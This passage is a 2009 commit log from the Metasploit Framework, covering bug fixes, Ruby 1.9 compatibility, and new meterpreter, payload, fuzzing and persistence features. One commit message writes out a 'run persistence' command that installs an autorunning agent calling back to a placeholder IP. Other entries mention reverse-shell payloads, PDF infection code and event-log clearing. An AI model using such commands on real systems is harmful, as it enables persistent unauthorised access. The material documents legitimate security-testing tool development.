Fixes #442 . Switch capture to work like lorcon2, works around a blocking issue with ruby 1.9
...
git-svn-id: file:///home/svn/framework3/trunk@7317 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 14:36:53 +00:00
21e82d8b69
This patch implements a much more flexible executable creation scheme at the cost of exe size. This also adds the "-x" option to msfencode, allowing the user to specify their own executable template for generation.
...
git-svn-id: file:///home/svn/framework3/trunk@7315 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-01 04:11:43 +00:00
e5e89906d0
Switch the meterpreter to SSLv3 and try to generate a slightly more realistic CN for the certificate. The goal is to work through a wider range of inline proxies.
...
git-svn-id: file:///home/svn/framework3/trunk@7311 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-31 20:44:23 +00:00
20be000d47
Wmap able to load exploits and check for vulnerabilities. Next step exploit if vulnerable
...
git-svn-id: file:///home/svn/framework3/trunk@7302 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-29 03:16:27 +00:00
ef302da508
Allow the interrupt exception to still propogate up
...
git-svn-id: file:///home/svn/framework3/trunk@7301 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 19:39:16 +00:00
b444fdfa33
Handles fatal exceptions and prevents the framework from exiting, fixes #424
...
git-svn-id: file:///home/svn/framework3/trunk@7300 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 19:37:43 +00:00
8377077297
Huide the error output from stty execs. Fixes #426
...
git-svn-id: file:///home/svn/framework3/trunk@7299 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 19:37:19 +00:00
3cf4329335
Updates the autopwn matching algorithm to use multiple ports and service names
...
git-svn-id: file:///home/svn/framework3/trunk@7298 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 18:04:50 +00:00
9141d4e967
Condense the lorcon2 each_packet method, the queue isnt necessary after testing
...
git-svn-id: file:///home/svn/framework3/trunk@7294 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 01:41:17 +00:00
31276e1626
Fixes #427 . Finally found a solution that works for 1.8 and 1.9, this allows lorcon modules to run in the background or foreground and handle interrupts from the console gracefully. Its still a hack
...
git-svn-id: file:///home/svn/framework3/trunk@7293 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 00:19:17 +00:00
5234fe8ff8
Fixes 416. Adds the rm/del commands to meterpreter, fixes build problems triggered by the POSIX code merge
...
git-svn-id: file:///home/svn/framework3/trunk@7291 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-27 02:31:07 +00:00
6dcffd0373
Catch attempts to migrate to a name vs a pid
...
git-svn-id: file:///home/svn/framework3/trunk@7289 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-27 00:56:56 +00:00
8d8bc45dfd
Adds a shortcut for getting a shell (execute -f cmd -c -i -H) is now just "shell"
...
git-svn-id: file:///home/svn/framework3/trunk@7288 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-27 00:47:00 +00:00
e1559b1ab4
Fixes #408 . Trims leads spaces, adds trailing space, prevents line wipe when tab completing is done
...
git-svn-id: file:///home/svn/framework3/trunk@7284 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 20:33:55 +00:00
5e137e92fd
Fixes #381 . To scan for TLSv1 only services, set SSLVersion TLS1
...
git-svn-id: file:///home/svn/framework3/trunk@7282 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 19:48:15 +00:00
478a7ce8ab
Fixes #410 . Calls the real _close function, not the best solution, but will do until we fix the IO::Stream override.
...
git-svn-id: file:///home/svn/framework3/trunk@7281 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 19:06:50 +00:00
91dd38550f
Fixes #398 . Allow globals to override local defaults, but fallthrough to local defaults if no global or local is set
...
git-svn-id: file:///home/svn/framework3/trunk@7280 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 18:48:06 +00:00
32f7d742b3
Fixes #328 . Crafty little bug -- if asm was "" vs nil, the stage would try to compile as metasm instead of using the raw payload.
...
git-svn-id: file:///home/svn/framework3/trunk@7278 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 17:44:43 +00:00
6da0013b91
See #378 . Additional fix for batch mode
...
git-svn-id: file:///home/svn/framework3/trunk@7264 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 03:54:44 +00:00
8328bf654b
Fixes #358 . Adds progress reporting at 10% intervals (min granularity is thread count)
...
git-svn-id: file:///home/svn/framework3/trunk@7263 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 03:49:07 +00:00
7a24a5495e
Fix #414 globaly defined datastore values are now rewriten before RHOSTS, RPORT, SSL are set. Support of hostnames instead of ips. Minor version changes
...
git-svn-id: file:///home/svn/framework3/trunk@7262 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 22:20:59 +00:00
f9f690b0e7
Updated prefetch script and creation of Rex::Script::Completed as a clean way to exit meterpreter scripts
...
git-svn-id: file:///home/svn/framework3/trunk@7257 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 20:50:07 +00:00
e3f68f2639
Another large number of warnings fixed by Yoann Guillot
...
git-svn-id: file:///home/svn/framework3/trunk@7248 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:18:23 +00:00
b38a74c961
Another mega-patch from Yoann Guillot: fixes warnings generated by method calls with a space betwee the method and the parans, corrects a problem with the alpha encoders that causes them to overwrite the allowed charset, hardcodes the metasm output size of some modules in order to reduce load time, more to come
...
git-svn-id: file:///home/svn/framework3/trunk@7246 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 16:40:19 +00:00
c4e8c52585
Import some basic ssh fuzzers and a smb fuzzer that can trigger the smb2 negotiate bug
...
git-svn-id: file:///home/svn/framework3/trunk@7243 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 03:25:15 +00:00
cae0d61491
Adds a basic fuzzing mixin, as well as a TDS username fuzzer to demonstrate usage
...
git-svn-id: file:///home/svn/framework3/trunk@7241 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 01:40:27 +00:00
b53a596ff0
Merge in David Kennedy's new MSSQL changes (centralized SQL query mixin)
...
git-svn-id: file:///home/svn/framework3/trunk@7236 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 19:15:32 +00:00
07653cb452
Fix a typo for 1.9.1 support
...
git-svn-id: file:///home/svn/framework3/trunk@7232 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 13:58:21 +00:00
1acf372dce
Roll Lorcon2 into the metasploit tree, still testing the modules. See #378
...
git-svn-id: file:///home/svn/framework3/trunk@7228 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 04:32:26 +00:00
51ad52d63a
Moving towards beta
...
git-svn-id: file:///home/svn/framework3/trunk@7221 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 02:36:02 +00:00
00b2915554
Fixes #342 . Set ReverseConnectRetries to a value between 1 and 255 (default is 5). On failure it will ExitProcess (still better than a cpu spin)
...
git-svn-id: file:///home/svn/framework3/trunk@7217 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 20:31:14 +00:00
b75ef037c3
more tabs vs spaces, and fix a few mismatched indentation levels (def/end, etc)
...
git-svn-id: file:///home/svn/framework3/trunk@7211 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 17:24:33 +00:00
15e39e95db
Fixes #386 . Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
...
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300
This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:
meterpreter> run persistence -A
This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.
git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
4ac27c9803
Consolidate common APIs into the mixin
...
git-svn-id: file:///home/svn/framework3/trunk@7195 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 20:58:01 +00:00
dc415c76ca
Fixes #364 . Added error message detection and signatures
...
git-svn-id: file:///home/svn/framework3/trunk@7187 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 19:46:30 +00:00
4d4c0905ef
Slightly improved error handling for auxiliary and exploit modules. Improved brute forcing mode for mssql_login. Serious errors (broken code, etc) are bubbled up in auxiliary scanners now. Fixes #384 by reading wordlists one line at a time and not buffering
...
git-svn-id: file:///home/svn/framework3/trunk@7185 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 18:03:02 +00:00
a17d96a1ab
Remove the last usage of ReadWriteLock in the Socket class. Fixes #383
...
git-svn-id: file:///home/svn/framework3/trunk@7182 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 09:24:36 +00:00
88fba8c38a
Handle a null response better
...
git-svn-id: file:///home/svn/framework3/trunk@7180 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:09:30 +00:00
490545602a
Chunk long sql queries into blocks, fixes mssql_payload
...
git-svn-id: file:///home/svn/framework3/trunk@7179 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:07:25 +00:00
681e2c940c
Fixes #379 . Massive rewrite of the MSSQL mixin. This moves everything to TDS 7.0 instead of the old crusty protocol
...
git-svn-id: file:///home/svn/framework3/trunk@7178 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 01:17:58 +00:00
8d9356f40d
Minor tweak allows the 'quit' command to work inside of a resource script
...
git-svn-id: file:///home/svn/framework3/trunk@7177 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 16:53:21 +00:00
d0b07c0c3f
Fixes #353 . If the problem persists, make sure 'cygpath' is installed, it sounds like the root cause is 3.3-dev being run inside of an existing cygwin environment.
...
git-svn-id: file:///home/svn/framework3/trunk@7176 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:41:37 +00:00
27192b303b
Fixes #270 . Allow the user to set BasicAuthUser and BasicAuthPass in order to authenticate using the HTTP mixin
...
git-svn-id: file:///home/svn/framework3/trunk@7175 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:20:14 +00:00
d3aa513773
Fixes #339 . Cleans up author names for the most part - there are still some stragglers, but this should fix up the frequent contributors
...
git-svn-id: file:///home/svn/framework3/trunk@7173 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:55:15 +00:00
ce25403e18
Fixes #356 . Delete poorly formatted reference entries, preventing bad reference objects from being stored in the actual module
...
git-svn-id: file:///home/svn/framework3/trunk@7172 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:25:29 +00:00
efe44ba6b5
bleh.. a bit of tabs vs spaces
...
git-svn-id: file:///home/svn/framework3/trunk@7171 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-16 18:27:18 +00:00
3b49e2af58
Add an optional timeout for mssql
...
git-svn-id: file:///home/svn/framework3/trunk@7161 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 20:56:36 +00:00
ce9bfec34f
Fix string handling
...
git-svn-id: file:///home/svn/framework3/trunk@7160 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:51:44 +00:00
cd2968a32a
Updated mssql_sql and backend mixin, can handle most column types and is somewhat usable as a mssql client
...
git-svn-id: file:///home/svn/framework3/trunk@7159 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:41:12 +00:00
c5b23fbb02
Better result parsing, fix a slice!() on nil
...
git-svn-id: file:///home/svn/framework3/trunk@7158 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 14:25:26 +00:00
a782a68c42
Complete overhaul of the MSSQL API, fixes 1.9 compat issues and makes the MSSQL testing easier
...
git-svn-id: file:///home/svn/framework3/trunk@7154 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-13 22:24:47 +00:00
a4679bc3fc
sort meterp use -l output so exts like priv and priv.x64 are grouped together
...
git-svn-id: file:///home/svn/framework3/trunk@7141 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-11 18:24:38 +00:00
b6fa63701b
require srv stuff along with the other rr types
...
git-svn-id: file:///home/svn/framework3/trunk@7135 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-10 16:05:27 +00:00
4ba9438e56
Append newline to meterpreter use -l output (was running into prompt)
...
git-svn-id: file:///home/svn/framework3/trunk@7134 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-09 04:33:59 +00:00
672fd9e977
Meterpreter ipconfig Ruby 1.9 fix. This fixes string indexing errors and
...
(after that was fixed) the fact that sprintf "%02X" now decides to bail when
given a nil instead of it giving zeros.
git-svn-id: file:///home/svn/framework3/trunk@7133 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-08 16:46:13 +00:00
6f67271c31
fixes #351 . Forces data to ascii-8bit encoding, removes the 1.9 hack, fixes octet-field conversion
...
git-svn-id: file:///home/svn/framework3/trunk@7129 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-05 23:12:35 +00:00
087a248f16
Remove debugging line;
...
git-svn-id: file:///home/svn/framework3/trunk@7127 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 23:16:28 +00:00
e0f885d50c
Let db_autopwn -I/-X work with a single addr
...
git-svn-id: file:///home/svn/framework3/trunk@7126 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 20:20:43 +00:00
47d8e02389
Specify that db_autopwn -b is default
...
git-svn-id: file:///home/svn/framework3/trunk@7125 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:48:48 +00:00
50f2f90646
db_autopwn -I/-X fix for Ruby 1.9 (calling each() on a string). Now commas
...
are allowed in the host specs in general.
git-svn-id: file:///home/svn/framework3/trunk@7124 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:43:06 +00:00
06818ae2bf
Handle cases where a scanned host has no ports open
...
git-svn-id: file:///home/svn/framework3/trunk@7122 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-03 20:05:36 +00:00
b198631746
Fixes #349 by upgrading to bit-struct trunk, however something is now causing a segv in the ruby VM (guessing the pcaprub code).
...
git-svn-id: file:///home/svn/framework3/trunk@7120 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-03 18:45:32 +00:00
c628302e72
Define the full class name for the history variable;
...
git-svn-id: file:///home/svn/framework3/trunk@7118 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 16:17:27 +00:00
304ed6b0a6
During a recursive download, ensure that the local directories are created properly
...
git-svn-id: file:///home/svn/framework3/trunk@7117 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:57:25 +00:00
9e19121858
Print an error if openssl is not installed, this is a workaround until we have a better way to show how missing optional dependencies affect the feature set.
...
git-svn-id: file:///home/svn/framework3/trunk@7116 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:24:10 +00:00
35fcf8c2b2
Swap around rbreadline - load it by default, but also allow the old readline with the -L (--real-readline) parameter to msfconsole. This also fixes absolute path handling for msfconsole command passthrough
...
git-svn-id: file:///home/svn/framework3/trunk@7115 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:17:03 +00:00
54437321eb
Disable inputrc processing, its not deterministic and will be impossible to support as implemented.
...
git-svn-id: file:///home/svn/framework3/trunk@7111 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 00:03:55 +00:00
4e244d654d
Catch parsing errors in the inputrc file
...
git-svn-id: file:///home/svn/framework3/trunk@7110 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 21:02:50 +00:00
b4d6ba1170
Check for nil before trying to replace a line
...
git-svn-id: file:///home/svn/framework3/trunk@7108 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 16:47:48 +00:00
92359fecc5
Fix some 1.9 compat issues, wrap missing methods, extend to the cxt structure to include mb (used elsewhere)
...
git-svn-id: file:///home/svn/framework3/trunk@7107 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 16:27:18 +00:00
5f010aa4b9
Fix some remaining 1.9 compatibility issues
...
git-svn-id: file:///home/svn/framework3/trunk@7105 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 16:01:53 +00:00
f13bf727c8
See #348 . Make platform list (platform_to_s) a comma separated string as the
...
method comment suggests (other *_to_s methods are like this). This wasn't an
issue before, but now otherwise Ruby 1.9 prints arrays differently like:
Platform: ["Windows", "Linux", "BSD", "Solaris", "BSDi", "OSX"]
git-svn-id: file:///home/svn/framework3/trunk@7103 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 05:47:51 +00:00
8efeb58285
add simple sessions -K to kill all. useful at least when i'm testing.
...
git-svn-id: file:///home/svn/framework3/trunk@7100 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 23:00:15 +00:00
3c79917fb0
Disable vi editing-mode, as its not completely implemented
...
git-svn-id: file:///home/svn/framework3/trunk@7097 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 20:36:04 +00:00
debf126d32
Save wmap reports to a file
...
git-svn-id: file:///home/svn/framework3/trunk@7096 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 04:20:06 +00:00
0c802ea3e1
Fixes #345 . Adds a more stringent check for ::Encoding class being defined, should work around false positives with getbyte
...
git-svn-id: file:///home/svn/framework3/trunk@7095 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 03:25:39 +00:00
ce1b528b05
Fixes msfgui to load properly again
...
git-svn-id: file:///home/svn/framework3/trunk@7094 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 03:20:11 +00:00
3500745d70
Revert previous changes, easier to just include infocmp and terminfo
...
git-svn-id: file:///home/svn/framework3/trunk@7092 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:42:26 +00:00
7b28cdacd8
Handle lacking infocmp a little smoother
...
git-svn-id: file:///home/svn/framework3/trunk@7091 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:30:15 +00:00
542b3de249
Handle the case where there is no infocmp
...
git-svn-id: file:///home/svn/framework3/trunk@7090 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:26:23 +00:00
c679e11f4e
See #343 . Switches metasploit to the pure ruby readline - time for extensive testing
...
git-svn-id: file:///home/svn/framework3/trunk@7089 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:03:17 +00:00
53e3f166f8
make x86/nonupper raise the right exception type, prettify some formatting
...
git-svn-id: file:///home/svn/framework3/trunk@7083 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 05:23:23 +00:00
3647d1c524
Time to give up the warning, any leftover bugs are probably applicable to 1.8.x too
...
git-svn-id: file:///home/svn/framework3/trunk@7081 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:15:10 +00:00
d5c62fa7e2
Make msfweb easier to exclude in packaging
...
git-svn-id: file:///home/svn/framework3/trunk@7080 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:12:56 +00:00
5972666f63
See #339 . Massive cleanup of author names, make them consistent across modules
...
git-svn-id: file:///home/svn/framework3/trunk@7075 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 21:30:45 +00:00
714e887a60
Fixes #313 . Makes some usage changes to ET's screenshot method, tested on XP SP3 with no problems
...
git-svn-id: file:///home/svn/framework3/trunk@7073 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 18:42:34 +00:00
1a220d6dc5
add java payload jsp_shell_reverse_tcp.
...
git-svn-id: file:///home/svn/framework3/trunk@7071 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 18:35:07 +00:00
5be5a20ba7
fixes #285 . Corrects SSL init to be after proxies, fixes issues with 1.9.1 compatibility and SOCKS support
...
git-svn-id: file:///home/svn/framework3/trunk@7070 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 15:36:30 +00:00
41157e97fe
make run -a functional
...
git-svn-id: file:///home/svn/framework3/trunk@7068 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 22:34:48 +00:00
f036d807e3
Register the session before calling the handler's on_session() method, there may have been good reasons to avoid this before, by walking through the code it doesn't seem like they are still applicable. Fixes #266
...
git-svn-id: file:///home/svn/framework3/trunk@7067 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 18:47:44 +00:00
a89914d448
Finally screenshot capture. BMP at this time
...
git-svn-id: file:///home/svn/framework3/trunk@7063 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 04:05:09 +00:00
ee9a8f4f76
Adds support for the reverse_tcp_allports stager for Windows. This payload tries to connect back on all ports, one at a time, from LPORT to 65535. This is incredibly slow (depends on the default socket timeout) and requires the user to forward all TCP ports of LHOST to a single listening port in the handler. Inspired by a few user requests and this blog post: http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall
...
git-svn-id: file:///home/svn/framework3/trunk@7058 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-25 05:44:50 +00:00
069144f56a
Dont print the bind message for the any address
...
git-svn-id: file:///home/svn/framework3/trunk@7057 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:52:58 +00:00
eaf5368f98
Allow the DisablePayloadHandler option to be set, this prevents the default payload handler from being called. Fixes #307
...
git-svn-id: file:///home/svn/framework3/trunk@7056 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:36:30 +00:00
479add54e1
Mostly fix file information in listings -- Ruby 1.8.x used the builtin FileStat, 1.9 now users our own, and the offsets were off from the stat structure
...
git-svn-id: file:///home/svn/framework3/trunk@7054 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-23 21:20:09 +00:00
0d1098e6bf
Make the SMB connect() method take an optional 'global' argument, allows for secondary SMB connections
...
git-svn-id: file:///home/svn/framework3/trunk@7053 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 21:26:20 +00:00
a127213a70
Assignment-by-reference causes breakage when using the Array.new(num, obj) syntax. Fixes #330
...
git-svn-id: file:///home/svn/framework3/trunk@7052 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:49:52 +00:00
21ff66996a
make logging a little more useful when encoding
...
git-svn-id: file:///home/svn/framework3/trunk@7051 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:45:58 +00:00
c34c999ac3
Remove the default versions, since these are not used. See #333
...
git-svn-id: file:///home/svn/framework3/trunk@7050 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:14:58 +00:00
5e37dfa040
Fixes #325 . Dont pass nil to the FileStat constructor, be strict about class path
...
git-svn-id: file:///home/svn/framework3/trunk@7049 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:12:46 +00:00
602b1a2efd
Adds the 'clearev' command, see #317
...
git-svn-id: file:///home/svn/framework3/trunk@7048 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:05:44 +00:00
1ba927f80e
Updated and verbose errors to assist with error handling. See #278
...
git-svn-id: file:///home/svn/framework3/trunk@7047 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:25:08 +00:00
f3708fb933
Fixes #278 . Handle cases where a reload fails and indicate why
...
git-svn-id: file:///home/svn/framework3/trunk@7046 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:22:45 +00:00
cdbfe74b1b
Fixes #273 . Move the passivex default port to 8000 so it doesnt conflict with the default HttpServer port
...
git-svn-id: file:///home/svn/framework3/trunk@7044 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:46:08 +00:00
1d21e41156
Fix references searching from the console. Fixes #304
...
git-svn-id: file:///home/svn/framework3/trunk@7043 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:40:00 +00:00
29134be27a
Fixes #336 . Don't add 'NSS-<id>' to ref list when importing Nessus nbe/xml to
...
database (report/patch by erwinpdev).
This NSS- stuff was in the original nbe code before things were copied and
reworked for the xml handling. I'm not sure why it was there; the NSS id is
already available in the database (name).
Note that ref lists generated here can be empty now, which I think is fine.
git-svn-id: file:///home/svn/framework3/trunk@7040 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-18 17:33:46 +00:00
b5da2c72f2
Fixes #333 . Adds core and api version checks to all module loads. To specify a minimum version, add the following constant to the top of the module (outside of the class definition):
...
RequiredVersions = [3.3, 1.0] # MSF 3.3+ API 1.0+
git-svn-id: file:///home/svn/framework3/trunk@7037 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-15 13:50:32 +00:00
8b0a92ba1b
fix a 1.9 bug where elements of a string are assumed to be Integers; fixes #309
...
git-svn-id: file:///home/svn/framework3/trunk@7034 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-13 16:56:54 +00:00
0885a7262e
Merge the DECT code from DK, clean some things up
...
git-svn-id: file:///home/svn/framework3/trunk@7032 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-12 15:40:33 +00:00
0c584bae10
Match against the fullname not just the refname for -m regex filters in db_autopwn
...
git-svn-id: file:///home/svn/framework3/trunk@7029 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-11 15:32:23 +00:00
1937839e79
Patch meterpreter's sysinfo command to resolve the system language and architecture.
...
git-svn-id: file:///home/svn/framework3/trunk@7028 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-10 13:09:48 +00:00
d6d7b0e43f
Raise an alert if the code size is > 2048
...
git-svn-id: file:///home/svn/framework3/trunk@7013 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-08 20:33:43 +00:00
da61141a79
Fixes #281 , pt2. This time fixing unrelated whitespace changes from the
...
original patch. I (lazily) kept it because 'svn diff -x -b' showed no
difference and it was formatted fine in vi. This is obviously not a good
way of assessing bad whitespace formatting :)
git-svn-id: file:///home/svn/framework3/trunk@7007 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-05 23:57:42 +00:00
53775ed59b
Fixes #281 . Add .nessus db support via db_import_nessus_xml
...
Based on work by mephux and erwinp. I started with the latter's patch and
reworked it to avoid all of duplication from the .nbe stuff.
git-svn-id: file:///home/svn/framework3/trunk@7005 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-05 04:29:53 +00:00
64ff8b5181
Add missing -oX argument
...
git-svn-id: file:///home/svn/framework3/trunk@7004 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:14:19 +00:00
09eb693a97
Fix cygwin check
...
git-svn-id: file:///home/svn/framework3/trunk@7003 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:11:28 +00:00
e7b200bc23
Expand cygwin to win32 path for db_nmap on windows inside of cygwin
...
git-svn-id: file:///home/svn/framework3/trunk@7002 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:04:06 +00:00
d584b4d314
Fixed migrate for x64 meterpreter (Tested on Win 7 and 2003).
...
git-svn-id: file:///home/svn/framework3/trunk@6999 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 01:40:48 +00:00
40ca641a96
Initial commit of the windows x64 meterpreter payloads!
...
git-svn-id: file:///home/svn/framework3/trunk@6997 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-03 17:47:21 +00:00
b1acf43bb7
Fixes #322 , hooks the appropriate dbi error, also tries to load dbi via rubygems now
...
git-svn-id: file:///home/svn/framework3/trunk@6982 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-27 20:13:37 +00:00
04491c7fb1
Fix small bug when str nil
...
git-svn-id: file:///home/svn/framework3/trunk@6979 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-27 04:56:38 +00:00
97fed166a3
Fixes #312 . Thanks for the patch!
...
git-svn-id: file:///home/svn/framework3/trunk@6978 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-27 01:28:48 +00:00
ec61dca868
Patch to make table output on the console more readable by removing the last column's padding, submitted by jduck. Thanks!
...
git-svn-id: file:///home/svn/framework3/trunk@6974 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-25 09:50:14 +00:00
cf10a62dcc
Merge in the beginnings of x64 support from Stephen Fewer
...
git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-23 23:47:33 +00:00
474ba8860f
Merges in Colin's PDF infection code from Black Hat / Defcon
...
git-svn-id: file:///home/svn/framework3/trunk@6966 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-19 14:44:43 +00:00
71bf0a12a1
remove the dll option from passivex. users shouldn't ever have to change this
...
git-svn-id: file:///home/svn/framework3/trunk@6964 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 18:13:38 +00:00
4dc13a9e8c
fix a bug in colorization where %c gets replaced before %cya; wouldn't have been a problem until colorization gets put back in
...
git-svn-id: file:///home/svn/framework3/trunk@6962 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 04:54:58 +00:00
bd2da7c12a
revert overzealous commit
...
git-svn-id: file:///home/svn/framework3/trunk@6961 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 04:53:35 +00:00
08d50e0a5b
fix a bug in colorization where %c gets replaced before %cya; wouldn't have been a problem until colorization gets put back in
...
git-svn-id: file:///home/svn/framework3/trunk@6960 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 04:49:16 +00:00
dac1251cb7
Add support for timestamping all print_status and print_error calls made by modules. Suggested by Mia
...
git-svn-id: file:///home/svn/framework3/trunk@6959 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 03:02:37 +00:00
b14a4ddf0b
Lots of shiny new NTLM goodness from Ryan Linn
...
git-svn-id: file:///home/svn/framework3/trunk@6958 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-17 20:00:05 +00:00
1ceb752986
clean up opera detection code a bit, and add 9.62 platform detection
...
